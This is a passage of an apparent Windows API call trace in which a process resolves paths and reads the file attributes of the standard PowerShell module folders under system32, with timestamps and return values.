lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkTransition", lpFilePart=0x0) returned 0x44 [0200.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.704] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkTransition" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\networktransition"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc5046f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9aaec8, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.704] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PcsvDevice", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0200.704] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PcsvDevice", nBufferLength=0x3e, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PcsvDevice", lpFilePart=0x0) returned 0x3d [0200.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.705] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PcsvDevice" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\pcsvdevice"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc50532d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9d112b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.705] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PKI", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0200.705] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PKI", nBufferLength=0x37, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PKI", lpFilePart=0x0) returned 0x36 [0200.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.705] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PKI" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\pki"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976cbf0e, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976cbf0e, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.705] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PnpDevice", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0200.705] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PnpDevice", nBufferLength=0x3d, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PnpDevice", lpFilePart=0x0) returned 0x3c [0200.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.706] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PnpDevice" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\pnpdevice"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc5a46ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9d112b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.706] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0200.706] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement", nBufferLength=0x43, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement", lpFilePart=0x0) returned 0x42 [0200.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.706] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc5a53a2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9f739d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.706] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Provisioning", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0200.706] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Provisioning", nBufferLength=0x40, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Provisioning", lpFilePart=0x0) returned 0x3f [0200.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.707] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Provisioning" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\provisioning"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc6cc509, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea1d607, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.707] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0200.707] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x4f, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", lpFilePart=0x0) returned 0x4e [0200.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.707] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.708] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0200.708] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x41, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", lpFilePart=0x0) returned 0x40 [0200.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.708] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psdiagnostics"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc8049ce, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea69acb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.708] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0200.708] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x42, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", lpFilePart=0x0) returned 0x41 [0200.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.708] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psscheduledjob"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc804db7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.708] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflow", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0200.708] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflow", nBufferLength=0x3e, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflow", lpFilePart=0x0) returned 0x3d [0200.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.709] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflow" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psworkflow"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc8051d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.709] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflowUtility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0200.709] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflowUtility", nBufferLength=0x45, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflowUtility", lpFilePart=0x0) returned 0x44 [0200.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.709] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflowUtility" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psworkflowutility"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc8055f7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.709] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ScheduledTasks", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0200.709] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ScheduledTasks", nBufferLength=0x42, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ScheduledTasks", lpFilePart=0x0) returned 0x41 [0200.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.709] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ScheduledTasks" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\scheduledtasks"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc90f57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.710] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0200.710] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot", nBufferLength=0x3e, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot", lpFilePart=0x0) returned 0x3d [0200.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.710] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\secureboot"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.710] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbShare", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0200.710] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbShare", nBufferLength=0x3c, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbShare", lpFilePart=0x0) returned 0x3b [0200.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.710] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbShare" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\smbshare"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c0cbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8c1e1cae, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.710] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbWitness", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0200.710] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbWitness", nBufferLength=0x3e, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbWitness", lpFilePart=0x0) returned 0x3d [0200.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.710] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbWitness" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\smbwitness"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c3023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eab5f8c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.711] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\StartLayout", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0200.711] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\StartLayout", nBufferLength=0x3f, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\StartLayout", lpFilePart=0x0) returned 0x3e [0200.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.711] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\StartLayout" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\startlayout"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c3b3e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eab5f8c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.711] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Storage", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3b [0200.711] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Storage", nBufferLength=0x3b, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Storage", lpFilePart=0x0) returned 0x3a [0200.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.711] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Storage" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\storage"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c4795, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eadc202, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.711] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0200.712] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS", nBufferLength=0x37, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS", lpFilePart=0x0) returned 0x36 [0200.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.712] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\tls"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.713] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0200.713] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x47, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", lpFilePart=0x0) returned 0x46 [0200.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.713] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\troubleshootingpack"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c6b67, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8c1e1cae, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.713] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.713] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TrustedPlatformModule", 